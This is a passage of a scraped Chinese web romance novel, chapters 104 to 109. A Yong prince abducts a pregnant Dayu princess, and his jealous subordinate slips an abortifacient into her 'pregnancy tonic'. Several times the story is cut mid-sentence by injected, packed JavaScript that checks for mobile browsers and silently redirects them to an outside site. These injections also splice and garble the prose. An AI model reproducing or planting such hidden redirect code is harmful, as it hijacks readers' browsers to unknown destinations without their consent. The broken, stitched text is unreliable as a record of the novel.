回头扫了一眼满屋子的人,最后目光落在站在床边那个模样俊俏的年轻人身上,模样就跟年画里天神似的,好看得紧。 只是这人气质沉稳,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455750|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷疏离,不怎么说话,看着床上的病患,面上掩饰不住的关切,旁人对他毕恭毕敬的。 半吊子郎中猜想,这人八成是这些人的头,应该是个不差银子的。 半吊子郎中嘿嘿一笑,整齐的一排小白牙中间镶嵌一颗金牙,对沈惊澜拱手道。 “恭喜官人,夫人怀了身子,气亏血虚,加之……可能无意中中了迷香之类的腌臜物,故此多睡了几日,待我写一副方子,官人差人为夫人煎服,明日差不多就能转醒了。” “当真?” 沈惊澜瞅了一眼温若初,眼角眉梢都染上了几分初为人父的喜色,墨黑眸子多了些兴奋的光。 半吊子郎中自信道:“老夫行医二十余载,附近十里八乡乡亲的病都是老夫瞧的,诊断妇人喜脉,老夫还是有把握的。” 沈惊澜让追风取了五十两银票赏给半吊子郎中。 “多谢官人,祝您多子多福,夫妻恩爱和顺……” 半吊子郎中说了一箩筐吉祥话,正要伸手接过银票。 “等等!”一道冷厉的声音横**来。 沈惊澜看向范飞叶。 范飞叶注意到沈惊澜的视线,垂在身体两侧的拳头,攥紧,像是下定决心似的又松开,方才九殿下得知温若初身怀有孕那掩饰不住的欣喜,如一根刺扎在她心里。 大虞和雍国相邻,虽然签订互不侵犯友好合约,但到底是两个敌对国家。 温若初是大虞郡主,九殿下曾做过温若初的面首,是何等的**,九殿下就这么希望温若初怀他的孩子? 传言温若初在大虞郊外有一处院子,专门搜罗美男子,这孩子是不是九殿下的还不一定呢。 范飞叶瞄了一眼昏睡的温若初,眉心蹙得深深的,面色不大好,狐疑地看向半吊子郎中。 “她怀了多久的身子?具体多少天?” 第104章 人是我的,孩子也是我的 “啊?” 半吊子郎中面色一顿,他医术水准有限,不比宫里的那些妙医圣手,哪里能掐算出具体怀孕的天数? 怀了孩子就好好养胎,这么多事干嘛? 对沈惊澜笑了笑,“也就十几二十天,时间不长,正是胎像不稳,需要小心养胎的时候。” 算算日子,雍国使团从大虞上京离开到现在,正好是二十二天,半吊子郎中说十几二十天,孩子的来历就存疑了。 沈惊澜范家兄妹,还有几个使团成员都在,喜气的氛围,倏然沉重压抑起来,显然,范飞叶故意揪着日子,大家也都注意到了这个问题。 沈惊澜脸色阴沉得好像凝结了一层冰碴子,骤然萦绕着一股令人胆寒的骇人气息。 半吊子郎中无意识打了一个冷颤,察觉到气氛不对劲,无意识后退一步,连银票都没敢接。 沈惊澜眉心蹙起,盯着半吊子郎中,冷声问道。 “到底是什么时候,十几天?二十天?” 顿了顿,语气带着几分引导意味,“二十多天,是……不是?” 人老精,马老滑,人到了一定年岁就有了察言观色的本事,半吊子郎中脸上带着僵硬的笑意,顺着沈惊澜的话茬。 “啊,对对对,二十多天,没错,夫人的身子就是二十多天。” 沈惊澜面色有所缓和,“有劳。” 半吊子郎中战战兢兢捏着银票一角,余光偷瞄沈惊澜神色,生怕反悔似的,快速揣进怀里,留下一副方子离开。 半吊子郎中作证,沈惊澜拍板,温若初肚子里的孩子就是沈惊澜的。 众人呼呼啦啦啦离开房间,各自忙各自的事。 房间了除了昏睡的温若初,守着温若初的沈惊澜,还有范家兄妹。 范飞叶脸色不好,方才郎中改口,明显就是迫于沈惊澜压力,故意那么说的。 范飞叶言辞犀利控诉温若初“罪行”。 “难怪大虞皇帝急匆匆给温若初和凌玄礼两个人赐婚,原来是珠胎暗结,怕露馅,这个温若初就是水性杨花,您前脚刚走,后脚就勾搭上的凌玄礼,竟如此无情无义。” 关切地看着沈惊澜,“温若初肚子里的孩子分明不是殿下您的,殿下干嘛要认?” 沈惊澜坐在床边正神色专注地给温若初掖被角,闻言侧目看向范飞叶,眼神锐利,冰冷如刀。 “她人是我的,孩子也是我的。” 沈惊澜给下属的印象一直都是谨慎沉稳之人,睁眼说瞎话还是第一次见,范飞叶的“好言相劝”没有奏效,气急道。 “您是九殿下,皇室血脉怎可混淆?” 沈惊澜看向范飞叶的眼神,瞬间犀利无比,像是在一个将死之人。 “你在管我?” 沈惊澜的母亲之所以被关进冷宫,就是因为被雍国大皇子侵犯,雍国老皇帝诟病沈惊澜的出身,一再对沈惊澜和沈惊澜的母亲暗中痛下**。 恰逢大虞和雍国战事起,雍国吃了几次败仗,主动求和,在沈惊澜母亲暗中运作下,送八岁的沈惊澜去大虞为质,雍国皇室乐得沈惊澜从眼前消失,同时也算是保住了沈惊澜一命。 范飞叶的话着实是准确踩中了沈惊澜的雷区。 沈惊澜当年离开雍国的时候,范飞叶年纪小,不知道其中内情。 范天恩是略知一二的,范飞叶口无遮拦,这么一会的功夫,脊背渗出一层冷汗,抓着范飞叶胳膊,把人拽过来,让她跪下。 范天恩一脸歉意地看着沈惊澜,“殿下,飞叶不是那个意思,她只是觉得您在若初郡主那受了委屈,替您打抱不平罢了。” 垂眼看向范飞叶,怒声道。“还不快给殿下道歉?” 范飞叶也察觉出了沈惊澜的神色变化,心有不甘,却也知道沈惊澜说一不二的执拗脾气。 “九殿下,对不住,属下错了。” 沈惊澜面色并未好转,收回视线,冷声道。 “出去!” 范天恩扶起范飞叶让她出去,回头面露难色看向沈惊澜,犹豫半晌道。 “九殿下,属下听闻若初郡主深受大虞皇帝宠爱,咱们就这么把若初郡主掠走,大虞皇帝绝非等闲之辈,我们惹到了大虞皇帝,日后怕是对殿下大业不利啊。” 沈惊澜淡淡道:“我知道。” 范天恩:“……” 他们范家是雍国护国忠正之辈,戍守雍国都城,三年前范家老爷子因琐事得罪了大皇子,大皇子是皇后所出,也是雍国太子。 大皇帝铁了心对付范家,范老爷子锒铛入狱,眼瞅百年家业轻覆,是沈惊澜暗中及时伸手拉了范家一把,才保住了范家,范家从那以后便暗中帮沈惊澜做事。 范天恩也的确是把沈惊澜当做恩人的,劝也劝了,该说的也说了,是非利弊摆在沈惊澜面前。 当事人无所谓,皇帝不急太监急,他还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈惊澜墨黑的眸子里闪过一分胸有成竹的“算计”,此事必须用非常规手段“妥善”解决。 追风不敢怠慢,带着两封信出去。侍从端着药汤进来。 沈惊澜扶起温若初,让她靠坐在他身上,把人半抱在怀里,接过侍从手里的药碗。 碗中药汤还氤氲着热气,丝丝缕缕升腾,似在诉说着其中的苦涩。 他轻吹几口,待温度适宜,才缓缓递到温若初唇边。 第105章 偷人? 半吊子郎中的医术一般,开的方子还挺管用,温若初喝完汤药一个时辰,就转醒了。 温若初躺在床上,缓缓睁开沉重的眼皮,入目是一张有些掉漆的床,以及洗得泛白的床幔,视线转过来,是一张美得人神共愤的脸。 “沈惊澜?” 温若初撑着坐起身,瞪大眼睛诧异道,“你怎么在这?” 低头看了看自己身上穿的大红喜服,才想起来,圣人赐婚,她是要和凌玄礼成亲的,秋菊月儿她们帮她试穿衣裳来着,她应该在博阳侯府苍兰苑。 “不对,这是什么地方?我怎么会在这。” 她一脸懵,一股脑抛出了好几个问题。 沈惊澜乌黑长发被高高束起,一顶温润如玉的冠冕轻轻扣于发间,为他添了几分不凡气度。 他身着一袭紧致合体的玄色劲装,衣领袖口巧妙绣制着细腻繁复的花纹,低调中透露出贵族的雅致。腰间一枚雕刻着墨玉盘龙纹的腰扣紧紧束住挺拔劲瘦腰身,为他周身平添了一抹清冷而矜持的气息。 记忆中那个看上去命不久矣的身影,似乎随着他质子身份的枷锁被卸下,也一同烟消云散,取而代之的,是眼前这位风华绝代、气质非凡的雍国九皇子。 沈惊澜抬手扣住她的后脑勺,额头对着额头,试了试额温。 “嗯,没事了。” 顺势在温若初鼻尖上轻轻啄吻一口,沈惊澜扯了扯嘴角,解释方才温若初一连串问题。 “这里是通往雍国路上的小镇子,再有十日左右就能抵达雍国都城。” “然后呢?” 温若初睁大眼睛等着沈惊澜接下来的话,她为什么会在这里? 心底隐隐有了一个答案,能再见沈惊澜又惊又喜,她在等沈惊澜的解释。 沈惊澜眸色晦暗不明地看着她,抿了抿唇。 淡淡道:“我把你偷回来的。” 温若初:“……” 偷人? 这是什么很光彩的事吗? 就不能找个好听点的词汇来替代“偷人”? 温若初尴尬地轻哼一声,喃喃,“你倒是挺实诚。” 很快想起来,前阵子在勤政殿的时候,听说雍国将士袭扰禹郡,大虞和雍国关系再度恶化。 她和凌玄礼婚期在即,算得上是准王妃,沈惊澜这个时候把她偷出来,于大虞来说,沈惊澜此举这不就是赤裸裸的挑衅? 温若初面色瞬间煞白,眼睛瞪得更大了。 “偷出来的?你……你……” 对上沈惊澜那双敲不出情绪的黑眸,语气无意识地软了下来,沈惊澜说过让她等她,虽说事出有因,回头就和凌玄礼成亲,沈惊澜心里一定介意。 温若初有些底气不足,避开沈惊澜视线。 “你……你好歹……打声招呼吧?万一引起两国战事,岂不是成罪人了?” “不会。” 沈惊澜语气依旧淡淡的,很沉稳,简短的两个字像是有魔力似的,听着就莫名让人信服。 沈惊澜说过的事情,或在明面上,或暗地里,一定会办到,温若初相信沈惊澜有这个能力,她的心安定下来。 忧心完正事,才想起自己,眼角眉梢染着羞怯和笑意,温若初拉过沈惊澜的手,放在小腹上。 “我有宝宝了。”像得了稀罕宝贝急于和人分享的小朋友。 沈惊澜眼底划过一丝异样,抽出手,揉了揉温若初的发顶。 “我知道。” 端起矮桌上的粥碗,捏着汤匙搅拌两下,舀出一汤匙送到温若初嘴边,关切道。 “你睡了好几日,先简单吃点粥,过两日在吃好吃的。” 温若初看着沈惊澜,两条柳眉微微蹙了蹙,心里有点不是滋味。 沈惊澜的反应怎么有点不对劲? 她吞下一口粥,凑近沈惊澜歪着脑袋打量。 “我哪得罪你了?” 沈惊澜手顿了一下,撩起眼皮瞅了她一眼。 “没有。” 惜字如金,就不能多说两个字,温若初腹诽,沈惊澜这人就属于内耗类型的,不说算了。 昏睡好几日,胃都小了,怀着身孕胃口不大好,半碗粥就吃饱了,沈惊澜陪她在房间里呆了一会,闲话最近都干嘛了。 温若初下床走动两圈,有人把沈惊澜叫走了,商谈使团出发时间。 温若初在房间溜达两圈犯懒,又卧躺进床上,睡不着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你别动,我自己来 范飞叶咬牙切齿,低头瞅了一眼温若初的袜子,面上掩饰不住的嫌弃,脸色气得红一阵白一阵。 “你!” 温若初贴心有大度地说道:“小范大人不乐意可以放在那,等会让沈惊澜洗。” 范飞叶摆出一副义正凛然说教姿态。 “殿下不是滞留你们大虞的质子了,殿下是雍国九皇子,身份尊贵,郡主还是顾念一下殿下身份,莫要让殿下难堪!” 温若初眼睛都亮了,“我以后的袜子都你洗?” 范飞叶:“……” 温若初脑子有毛病吧?她说的是这个意思吗? 范飞叶咬牙压下心里怒火,“这里不比大虞上京,这等琐事还是郡主亲力亲为的好,为了照顾郡主,使团已经耽搁多日了。” “小范将军这话好不在理,是沈惊澜把我掳来的,又不是我死乞白赖地非要跟着你们。” 温若初嘴皮子功夫厉害,说话也气人,瞅了一眼范飞叶。 “你着急你就先走呗,不用等我。” 范飞叶被噎了一下,九殿下执意把人留下,连来路不明的孩子都能认下,她若是能做主先走,何至于到温若初面前受气。 瞪了温若初半天,抱着一堆衣裳和温若初的袜子,气急地推门走了。 温若初嗤笑一声,随手拿起一本话本翻看,有上赶着免费送上门的保姆,不用白不用。 沈惊澜小半天都没回来,晚饭是小辛端到房间,温若初在房间里吃的。 小辛还特意问了小范将军有没有把话本子送来,还歉意地和温若初解释,中午使团里有人拉肚子,范飞叶支使小辛去请郎中,那些话本是范飞叶主动接过去的。 温若初可是从小看玛丽苏狗血小说长大的,什么白莲花,黑莲花,绿茶白茶汉子茶,搭眼就能辨别出来。 范家兄妹对沈惊澜绝对是忠心的,范家在雍国都城也颇具威望。 她和范飞叶初往日无怨近日无仇,甚至没什么交集,初次见面,温若初就察觉到了范飞叶对她的敌意。 不用小辛解释也知道大致是怎么回事。 夜幕四合,温若初躺床上睡得正香甜,身上忽然一沉,她在睡梦中嘤咛一声,睫毛轻颤。 朦胧间她嗅到一股酒味,睁眼便撞进沈惊澜深邃如渊的眼眸里。 月光透过雕花窗棂洒在屋内,勾勒出沈惊澜冷峻又深情的轮廓,墨黑的眸子里交织着迷恋和痛楚,屋内光线略微昏暗,旁人难以瞧出他眸子里的真实情绪。 沈惊澜粗重地喘息着,今日是月圆之夜,体内寒毒发作,喝了些酒。 睡梦被打扰,温若初不满地拧了拧眉心,抬手推沈惊澜。 “你……压到我肚子了……” 沈惊澜顿了顿,这话好像刺到了他似的,眼底痛楚更甚,大脑被不好的东西占据理智,墨黑的眸子蒙上了一层水雾,眼尾都有些泛红了。 他没挪地方,反而紧紧抱着温若初,加深了这个吻,在温若初的两片唇瓣上凶狠地辗转研磨,舌尖长驱直入。 发了狠,攫取她口腔里为数不多的空气,带着几分惩罚的意味…… 直到温若初唇边传来一阵刺痛,一股淡淡的血腥味弥漫开。 “嘶——” 温若初疼得直皱眉,伸手去推沈惊澜。 沈惊澜属狗的吗,动不动就咬人是什么毛病? 察觉到身下人轻微呼痛,沈惊澜眼神逐渐恢复清明,面上瞬间爬上心疼以及懊悔,却没有要道歉的意思。 一只手撑在温若初身侧,起身躺到一边,伸手把人捞进怀里,大手扣着温若初的后脑勺,让她埋在自己颈窝。 “睡觉。” 沈惊澜吐字清晰,没事人一样,好像方才的情动是温若初自己的错觉。 温若初有些无语,总觉得沈惊澜心里好像装着事。 温若初被勾得难受,体内欲望渐起,扬起脖子,张嘴一口咬在沈惊澜下巴上,咯噔一下,带着几分报仇的意思。 不等沈惊澜开口说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455753|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬手勾住沈惊澜脖子,吻上了沈惊澜的两片微微泛着冷意的薄唇。 片刻唇齿交融后,沈惊澜松开温若初的唇,双手环着她的腰肢,眼尾泛红,眸底情欲正盛,却又极力隐忍,哑着声音道。 “你怀着身孕,不好。” 温若初喘着粗气,面上划过一丝尴尬,扯起嘴角笑了笑,可她确实是难受啊。 和沈惊澜有些日子没见了,沈惊澜那方面不错,温若初食髓知味,见不到人也就罢了。 如今人就在身边,还百般撩拨…… 沈惊澜若是真有那个矜持的心,别进房间啊。 箭在弦上了,又做出这幅姿态给谁看? 温若初手指描摹沈惊澜的下颌线,顺着往下划过凸起喉结,亲亲在上面压了压,勾扯松垮的衣领…… “你躺着别动,我自己来……” 温若初怀着身孕,没敢多折腾,自己舒坦了,草草了事。 但两人各怀心事,都是发了狠的,在对方身上都留下的暧昧的痕迹。 温若初嘴角结了一层薄薄的血痂,沈惊澜相对惨了一些,下巴上一排,脖子上也有,青的紫的红的。 隔天一大早,沈惊澜推门出来,也是小辛年纪小不懂事。 小辛注意沈惊澜身上痕迹,一脸担心,一惊一乍的。 “阁……阁……阁主,您脸上这是怎么了?” 沈惊澜回首,目光温柔地掠过那张沉睡于床榻之上的容颜,随后缓缓抬手,悄无声息地将门扉合拢。 他下意识地摩挲着下巴,唇边不经意间勾勒出一抹浅笑,那笑意淡然而微妙,仿佛春日里轻轻摇曳的柳丝,带着一丝不易察觉的暖意。 淡淡道:“咬的。” 沈惊澜说完脊背挺的直直的,抬腿朝外走去。 “咬的?” 小辛眉头紧蹙,啥东西能把阁主咬成那样啊,不会是房间里有虫子吧? 阁主睡觉又不死,虫子咬他的时候,就不能扒拉下去吗,就放任着虫子咬? 第107章 一碗落胎药 驿站前厅,正是使团众人用早饭的时辰,无**声喧哗,只有不时发出的筷子碰到碗碟清脆声响。 沈惊澜吃得差不多了,放下筷子,“今日恐有风雪,不宜出行,明日起程。” 沈惊澜说话声音不大,语气也是淡淡的,带着几分笃定,是通知,不是商量。 他这一出声,筷子碰撞碗碟的声响都消失了。使团已经耽搁了好几日,原计划今日起程,说不走就不走了? 短暂安静过后,三三两两窃窃私语。 “早晨我去外面解手,晴空**的,哪里像是有风雪的样子?” “咱们都等了好几日了,照这样下去,猴年马月才能回去?你们看殿下脸和脖子上……他倒是快活了,我婆娘还在家等我,都小半年没见了。” “殿下也是你们能私下议论的,小心自己的舌头,殿下说明日起程,殿下一定有自己的考虑,你们不愿意就去找殿下说,大早晨的让不让人吃饭。今天不走就不走呗,让你们多歇息一天还不乐意。” 众人小声议论半晌,其中多有不满抱怨之声,却没人敢反驳沈惊澜的决定。 于是,使团又多逗留了一日。 早饭过后,范飞叶来找沈惊澜,从怀里掏出一盒巴掌大的扁木盒,递给沈惊澜。 “殿下。” 沈惊澜瞅了一眼扁木盒,一股浓烈的脂粉味扑面而来,一看就是小女子的物件,他一脸不明所以地看着范飞叶。 范飞叶把木盒往回收了收,面上划过一丝尴尬,耳尖染上红晕。 “管驿站掌柜的女儿借的脂粉,殿下……还是遮一遮吧。” “殿下这个样子,不知道底下的人要怎么看殿下,总归……是影响不好。” 沈惊澜没接脂粉,“不用。” 当着那么多人的面晃悠一早晨,这会像是才想起来似的,抬手拢了拢衣领,堪堪遮住脖子上的暧昧青紫痕迹。 眼瞅沈惊澜要走,范飞叶急道。 “殿下,大皇子不会让咱们轻易回去,殿下当以大局为重,不可纵欲!” 九殿下扯什么“恐有风雪,不宜出行”,还不是温若初生性浪荡,怀着身子也不安生,勾搭九殿下纵欲。 温若初还没起床,九殿下怕不是因为风雪逗留,而是忧心温若初的身子。 沈惊澜回头看向范飞叶,眼神如淬了毒的刀,面色冷如冰霜。 连名带姓沉声警告:“范飞叶,这是我的私事,你僭越了,别忘了自己的本分。” 范飞叶张了张嘴,想说什么话,终是没说出来,眼底是难以掩饰的嫉妒和不甘,愤愤地看着沈惊澜离开的背影。 转身去找范天恩,想让范天恩劝劝沈惊澜。 范天恩不知道妹子的小心思,范飞叶从小跟着他在军营长大,性子冷淡,聪明很能干,像男子一样。 范家决定跟着沈惊澜之后,带着范飞叶去大虞上京暗中见过沈惊澜几次。 以为范飞叶和他一样,对沈惊澜只是忠心。只是对范飞叶对背后说温若初有些不认同。 范天恩劝着,“若初郡主在九殿下身边我看挺好的,你没发现自从若初郡主来了之后,九殿下都变了。” 范飞叶以为终于找到认同了,“你也这样认为?” 范天恩拧了拧眉,似乎没想好怎么说,斟酌词语道。 “我的意思是……有若初郡主在九殿下身边,九殿下有人味了,你别对若初郡主那么大的敌意,若初郡主对九殿下又没坏心思。” 就是人味,从前在大虞见到九殿下的时候,感觉这个人就像是一具被恨意蒙蔽的行尸走肉。 范天恩常年混迹军营,深知这样的人心思缜密,是不好惹的狠角色,之前还忧心将来若真是九殿下得了天下,九殿下释放本性,成了嗜血如命的**可怎么办。 这次去大虞见到九殿下明显感觉整个人都不一样了,看若初郡主的眼神都是带着温度的。 他就知道,之前的担心多余了,有温若初在,九殿下不会。 范天恩不理解自己这个妹子的想法,范飞叶也无法理解范天恩这个哥哥。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455754|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>面对范天恩的肺腑相劝,多少听进心里一些,她能看出来沈惊澜是看中温若初的。 罢了,九殿下既然喜欢,就当做一个小宠物留下好了。 想到温若初肚子里来历不明的孩子…… 范飞叶暗暗紧了紧拳头,殿下的血脉不容混淆,她也是为了殿下好。 说来也怪,早晨还晴空**,临近中午天忽然阴了下来,就像是配合沈惊澜似的,零星飘起了雪花,没一会的功夫,就阴云密布,大风席卷着鹅毛般的雪花从天而降。 幸亏没早晨走,不然这会停在半路,前不着村后不着店,怕是要冻**。 使团众人私下纷纷说沈惊澜料事如神,就连驿站掌柜都称赞沈惊澜未卜先知,救了大家伙一命。 晌午过后温若初才起床,外面天色昏暗,还以为时间尚早,起早了呢,结果小辛进来送饭的时候,说早饭直接过去了,午饭都热了两次了。 小辛不是她的贴身丫鬟,麻烦人家,温若初有点过意不去。 “多谢,回头我一定在你们阁主面前多说你好话。” 小辛不好意思地挠了挠头,“若初郡主有什么事,随时和我说,我就在门口。” 使团大多数成员都和范天恩想法差不多,了解沈惊澜的都看出来,温若初来了之后,他们的阁主,九殿下有“人味”了。 温若初和凌玄礼成亲,追风失职,按之前的规矩,追风免不了责罚,十天半个月下不来床都是轻的,这次追风跟随九殿下把若初郡主掳了来。 九殿下只是罚追风去张执事那领了五鞭子,小惩大戒。 小辛都替追风捏了一把汗,猜测是九殿下得知温若初怀有身孕,为孩子积德。 小辛把午饭摆到温若初面前,三菜一汤,荤素搭配,看上去不是那么的油腻,端过来一碗汤药放到一边。 “菜是阁主吩咐掌柜的特意做的,这汤药是小范将军让人熬煮的,说是给您安胎的。” 温若初那双娇俏灵动的眸子,几乎是刹那间警觉起来。 第108章 她不会出现在你面前了 “安胎药?” 温若初看着那碗黑糊糊的“安胎药”,心头警铃骤然响起,范飞叶最近和她不对付。范飞叶已经把自己摆在正宫位置,把她当成宠妃来斗了。 怎么会那么好心地给她熬煮安胎药。 温若初抚了抚小腹,几乎是一瞬间想到温清柔为了对付她,自己给自己下毒的事。 冷风吹得窗户纸沙沙作响,不用出去看,也知道窗外风雪一定很大,郎中未必能在这种天气及时出诊。 她很快否定了心里的计划,为了一个范飞叶,不值得她拿孩子去冒险。 范飞叶手段卑劣又明显,她能轻易破了这个局。 温若初穿越以来,第一次有了束手束脚的感觉,不是觉得这个孩子是累赘,而是人生地不熟,身边没有可用之人。 温若初面上不显异色,饭菜放回托盘,那碗“安胎”汤药摆在托盘显眼位置。 “没胃口,拿走吧。” “啊?” 小辛瞅了瞅饭菜,反复热了好几次,卖相上没有上京城寻常菜馆的好,没多想端着托盘就走了。 沈惊澜和范天恩几人在前厅议事,抬眼就看到小辛端着托盘出来,里面的饭菜原封不动,饭菜上还多了一碗汤药。 沈惊澜目光落在多出来的汤药上。 “那是什么?” 小辛端着托盘走过来,瞅了一眼范飞叶对沈惊澜答道。 “是小范将军给若初郡主熬煮的安胎药,若初郡主没胃口,饭菜和汤药都没动。” 范飞叶放在桌子底下的手,紧紧攥成拳头,脊背心虚地渗出一层冷汗,面上强装镇定。 菜品是沈惊澜特意按照温若初的喜好吩咐掌柜的做的,知道温若初胃口不好,少油少盐,她又好几日没怎么吃东西,就算是没胃口,以他对她的了解,不至于连筷子都没动。 沈惊澜盯着中间的汤药,略微思忖半晌,像是想明白了什么似的,偏头瞅了一眼范飞叶,眸光锐利的像是在**。 回头对小辛道,“她胃口不好,让掌柜的再换几道清淡的菜。” “是,我这就去办。” 一小段插曲过后,话题重新回到到达雍国都城,如何对付六皇子沈飞白生母柳妃,以及皇后和大皇子话题上。 沈惊澜抬眼看向范飞叶。 “柳妃母族势力雄厚,皇后和大皇子阴险狡诈,小范将军你先回雍国都城去探听一下门口,顺便把六皇子病重的消息告诉柳妃,即刻起程。” 范飞叶心里惊惧未退,一脸诧异地看向沈惊澜,方才小辛把那碗汤药端过来的时候,从九殿下的神色来看,应该是没露馅。 门外大雪天,冷不防让她即刻起程前往雍国都城是为何? 求助的眼神看向范天恩。 范天恩心疼妹妹,软声和沈惊澜商量。 “殿下,外面下雪呢,要不……等明天雪小了再让飞叶起程?” 沈惊澜半分不留情面,盯着范飞叶。 “时局瞬息万变,不可耽搁!” 范飞叶脸色煞白,迟迟没动地方。 范天恩注意到范飞叶神色有异,九殿下的面色也不大好,大家正商量着如何对付柳妃和皇后大皇子,九殿下问了温若初的饭菜之后,气氛就不对劲了。 范天恩看向范飞叶,想到晌午范飞叶和他说的那些话,九殿下忽然如此不近人情…… 暗道不好,范飞叶可能做了傻事,还被九殿下察觉到了。 没当众对范飞叶发难,已经算是给他们范家面子了。 范天恩讨好地对沈惊澜笑了笑。 “末将这就去帮飞叶准备,即刻起程。” 兄妹两人退了出去,出了门范天恩再三追问,果然和他想的一样,范飞叶亲口承认在安胎药里加了滑胎的红花。 范天恩恨铁不成钢地指着范飞叶,“你呀,糊涂,险些闯了大祸!” “温若初肚子里的孩子根本就不是九殿下的,我是在帮殿下,难道让温若初把这个野种生出来,混淆皇室血脉?” “九殿下都亲自承认了,你还多那个心管那个闲事干嘛?” 范天恩头疼,这个妹妹最近也不知道怎么了,非和温若初过意不去,招惹温若初还不如直接招惹九殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455755|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “再说了,那日给温若初诊脉的郎中是个半吊子,切的脉含含糊糊,九殿下在大虞的时候,两人是住在一个屋的,温若初肚子里的孩子,保不准就是九殿下的。你贸然把落胎药送温若初屋里,实属不该。” “我……” “行了,时辰不早了,早些起程吧。” 范天恩牵过一匹马,把缰绳交到范飞叶手里,脱下身上貂皮大氅,披到范飞叶身上。 “让你独自冒雪起程,也算是对你的惩戒,莫要记恨九殿下,不要失了我范家风骨,路上注意安全。” 范飞叶虽不甘心,也只能听从命令,冒着风雪,一人一马前往雍国都城。 温若初还待在房间里,早饭睡过去了,午饭为了对付范飞叶没吃上,这会肚子叽里咕噜地闹**。 抱着话本看了一会,也没看进去,实在挺不住了,正打算出去找点吃的,沈惊澜端着饭菜推门走了进来。 “饿了吧,吃些东西吧,新煮的。” 沈惊澜把刚刚出锅的四道小菜摆到桌上,刚出锅的菜,到底是比热了两次的菜闻着香。 温若初闻着味就过去了,眼睛直冒绿光,拿起筷子,大口大口地吃了好几口菜。 沈惊澜坐在凳子上,看着温若初大口吃饭的样子,嘴角微微勾了勾。 “慢点吃,没人跟你抢。” 温若初不确定沈惊澜看没看到汤药,嘴里咀嚼食物的动作慢了下来,试探问道。 “刚才还给我熬了一碗安胎药,我还没感谢她……”呢。 没等温若初说完,沈惊澜像是猜中了她所想,直接说道。 “走了。”依旧是淡淡的语气,惜字如金。 温若初嘴巴里有食物,两腮鼓鼓的,捏着筷子诧异抬头看沈惊澜。 沈惊澜抬手玩味似的,捏了一下她的两腮鼓起。 “快吃,以后,她不会出现在你面前了。” 温若初眨了眨眼,原来沈惊澜都知道了,和一个理解能力强的人待在一起就这点好,有的时候不需要多说什么,一个眼神,一个动作,足以让对方看懂。 第109章 以后跟着我 一天一夜的暴风雪,隔天,天朗气清,雍国使团滞留在此多日,终于再次踏上回雍国之路。 温若初和沈惊澜同乘一辆马车,马车后面跟着一辆稍显“华丽”马车。 “华丽”马车四周用木板钉得密实,看上去有些诡异,里面躺的是六皇子沈飞白。 昨日下午温若初闲来无事,无意中看到驿站一间不起眼房间,终日房门紧闭,好奇透过门缝往里瞧了瞧。 凑到门缝,一股浓烈的腐臭味往她鼻子里钻,穿上躺着一个……身影,一动不动。 躺在床上的人,身上沾满了黑褐色的污渍,辨不清原本颜色。从露出的一截手臂来看,皮肤呈现出诡异的青灰色,像是被泡发许久又开始腐烂,皮肉似有若无地耷拉着,隐隐可见下面森然白骨。 温若初以为房间里的是个**,正要转身去叫人,那“尸体”突然动了一下。她吓得倒吸一口凉气,差点瘫在地上。 小辛端着汤药过来扶住她,告诉她里面是“得了重病”的六皇子沈飞白。 沈飞白离开大虞上京的时候还活蹦乱跳的,假意和沈惊澜兄友弟恭,不过是月余就“病”成这个样子…… 